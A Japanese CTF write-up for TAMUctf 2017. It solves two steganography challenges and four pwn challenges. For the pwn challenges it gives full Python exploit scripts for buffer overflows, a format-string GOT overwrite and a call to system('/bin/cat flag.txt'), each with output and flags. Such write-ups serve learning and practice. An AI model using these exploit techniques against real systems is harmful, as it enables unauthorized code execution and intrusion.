TAMUctf 2017 writeup

#Siamese (Stego 50pt)
binwalk -e するとテキストファイルがでてくる
base64でエンコードされているのでデコードするだけ

```bash
$ binwalk -e aede01c1c265b4ca 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             GIF image data, version "89a", 320 x 180
3204803       0x30E6C3        Zip archive data, at least v1.0 to extract, compressed size: 56,  uncompressed size: 56, name: "aede01c1c265b4ca.txt"
3205027       0x30E7A3        End of Zip archive

$ base64 -d _aede01c1c265b4ca.extracted/aede01c1c265b4ca.txt 
gigem{the_cat_goes_meow_a8c51ff7762bdedd}
```

```:flag
gigem{the_cat_goes_meow_a8c51ff7762bdedd}
```
#jpeg ocean (Stego 100pt)
Stegsolveするだけ
![solve.png](https://qiita-image-store.s3.amazonaws.com/0/79881/80958ff4-9e6e-6e4f-7c5f-eb22a4e6dc47.png)

```:flag
gigem{water_w0rld_56e04d0418858dcb}
```
#pwn1 (pwn 50pt)
0x080485fdで0xca11ab1eと比較している
そこのcmp命令がtrueになるようにすればいい
![7a28358ba28557ca913def5b383912e2.png](https://qiita-image-store.s3.amazonaws.com/0/79881/3c81b616-d8a3-78b7-76ef-90049e2b0c2f.png)

```py:exploit.py
import socket
import struct
import time
import telnetlib

def s(s):return sock.send(s)
def p(a):return struct.pack("<I",a)
def u(a):return struct.unpack("<I",a)[0]

def r(s):
	if type(s)==str:
		data=""
		while not data.endswith(s):
			data+=sock.recv(1)
		return data
	else:
		data=sock.recv(s)
		return data

def shell(sock):
	t=telnetlib.Telnet()
	t.sock=sock
	t.interact()
	sock.close()


HOST="pwn.ctf.tamu.edu"
PORT=4322

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

print "[*] Connected to %s:%d"%(HOST,PORT)

BUF = ""
BUF += "A"*0x1b
BUF += struct.pack("<I",0xca11ab1e)
BUF +="\n"

s(BUF)
print r(1024)
```

```bash
$ python exploit.py 
[*] Connected to pwn.ctf.tamu.edu:4322
Enter the secret word:
How did you figure out my secret?!
gigem{T00_435Y}
```
```:flag
gigem{T00_435Y}
```
#pwn2 (pwn 100pt)
バッファオーバーフローでリターンアドレスをprint_flagの先頭アドレスに書き換える
![9b0d86ca3b129fc24274166d0687c2d1.png](https://qiita-image-store.s3.amazonaws.com/0/79881/3e0f5bea-bfdc-f489-348c-6c4d29a3fd08.png)

```py:exploit.py
import socket
import struct
import time
import telnetlib

def s(s):return sock.send(s)
def p(a):return struct.pack("<I",a)
def u(a):return struct.unpack("<I",a)[0]

def r(s):
	if type(s)==str:
		data=""
		while not data.endswith(s):
			data+=sock.recv(1)
		return data
	else:
		data=sock.recv(s)
		return data

def shell(sock):
	t=telnetlib.Telnet()
	t.sock=sock
	t.interact()
	sock.close()


HOST="pwn.ctf.tamu.edu"
PORT=4321

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

print "[*] Connected to %s:%d"%(HOST,PORT)

BUF = ""
BUF += "AAAA"*35
BUF += p(0x0804854b)
BUF += "\n"

s(BUF)
print r(1024)
```

```bash
$ python exploit.py 
[*] Connected to pwn.ctf.tamu.edu:4321
Enter a word to be echoed:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{D34D_FUNC_R1S1NG}

```

```:flag
gigem{D34D_FUNC_R1S1NG}
```
#pwn3 (pwn 150pt)
`%x`と入力すると変な数字が返ってくるので、フォーマットストリングバグが存在していることがわかる

```bash

$ nc pwn.ctf.tamu.edu 4323
%x
Enter a word to be echoed:
2
```
これを利用してexit関数のGOTをprint_flagの先頭アドレスに書き換える

```py:exploit.py
import socket
import struct
import time
import telnetlib

def s(s):return sock.send(s)
def p(a):return struct.pack("<I",a)
def u(a):return struct.unpack("<I",a)[0]

def r(s):
	if type(s)==str:
		data=""
		while not data.endswith(s):
			data+=sock.recv(1)
		return data
	else:
		data=sock.recv(s)
		return data

def shell(sock):
	t=telnetlib.Telnet()
	t.sock=sock
	t.interact()
	sock.close()


HOST="pwn.ctf.tamu.edu"
PORT=4323

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

print "[*] Connected to %s:%d"%(HOST,PORT)

#080485ab <print_flag>:
# 08048450 <exit@plt>:
#  8048450:	ff 25 1c a0 04 08    	jmp    *0x804a01c
#  8048456:	68 20 00 00 00       	push   $0x20
#  804845b:	e9 a0 ff ff ff       	jmp    8048400 <_init+0x30>

print_flag_addr = 0x080485ab

BUF = ""
BUF += p(0x804a01c) #overwrite_addr
BUF += p(0x804a01d) #overwrite_addr+1
BUF += p(0x804a01e) #overwrite_addr+2
BUF += p(0x804a01f) #overwrite_addr+3

addr = [
	print_flag_addr >>  0 &0xff,
	print_flag_addr >>  8 &0xff,
	print_flag_addr >> 16 &0xff,
	print_flag_addr >> 24 &0xff,
]

BUF += "%%%dc%%4$hhn" %((addr[0]-len(BUF))&0xff)
BUF += "%%%dc%%5$hhn" %((addr[1]-addr[0])&0xff)
BUF += "%%%dc%%6$hhn" %((addr[2]-addr[1])&0xff)
BUF += "%%%dc%%7$hhn" %((addr[3]-addr[2])&0xff)
BUF += "\n"

s(BUF)
print r(1024)

```

```bash
$ python exploit.py 
[*] Connected to pwn.ctf.tamu.edu:4323
Enter a word to be echoed:
����                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    This function has been deprecated
gigem{F0RM@1NG_1S_H4RD}

```

```:flag
gigem{F0RM@1NG_1S_H4RD}
```

#pwn4 (pwn 200pt)
普通にバッファオーバーフローでprint_flagを実行させてもflagは取得できない
これはprint_flag内で実行されているsystem関数の引数に`/bin/cat flag2.txt`が渡されているためだ
ほかの問題から察するに、flag.txtにflagがあると推測されるのでsystem関数の引数に`/bin/cat flag.txt`を渡してやればいい　(ほかの問題のprint_flag関数ではflag.txtが読まれている)

gdb-pedaのfind命令を使うと`/bin/cat flag.txt`の文字列が見つかるのでそれを利用する
![5d683840b7e5cf011c479dbd87e6aa02.png](https://qiita-image-store.s3.amazonaws.com/0/79881/f189900d-3936-d2df-d7a5-7ff3fe321773.png)
(startで実行させてから)

```py:exploit.py
import socket
import struct
import time
import telnetlib

def s(s):return sock.send(s)
def p(a):return struct.pack("<I",a)
def u(a):return struct.unpack("<I",a)[0]

def r(s):
	if type(s)==str:
		data=""
		while not data.endswith(s):
			data+=sock.recv(1)
		return data
	else:
		data=sock.recv(s)
		return data

def shell(sock):
	t=telnetlib.Telnet()
	t.sock=sock
	t.interact()
	sock.close()


HOST="pwn.ctf.tamu.edu"
PORT=4324

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

print "[*] Connected to %s:%d"%(HOST,PORT)

BUF = ""
BUF += "A"*0x10
BUF += p(0x08048390) # SYSTEM_ADDR
BUF += p(0x12345678) # return addr
BUF += p(0x0804a028) # ARG1(/bin/cat flag.txt)
BUF += p(0x00000000) # ARG2(0)
BUF += "\n"

s(BUF)
print r(1024)

```

```bash
$ python exploit.py 
[*] Connected to pwn.ctf.tamu.edu:4324
I require an input:
gigem{R3TURN_0R13NT3D_PR0F1T}
```

```:flag
gigem{R3TURN_0R13NT3D_PR0F1T}
```
#問題ファイル
https://www.dropbox.com/sh/9yibs1qn38umf53/AAAmyzbWunxdpbw_XTJqXoGxa?dl=0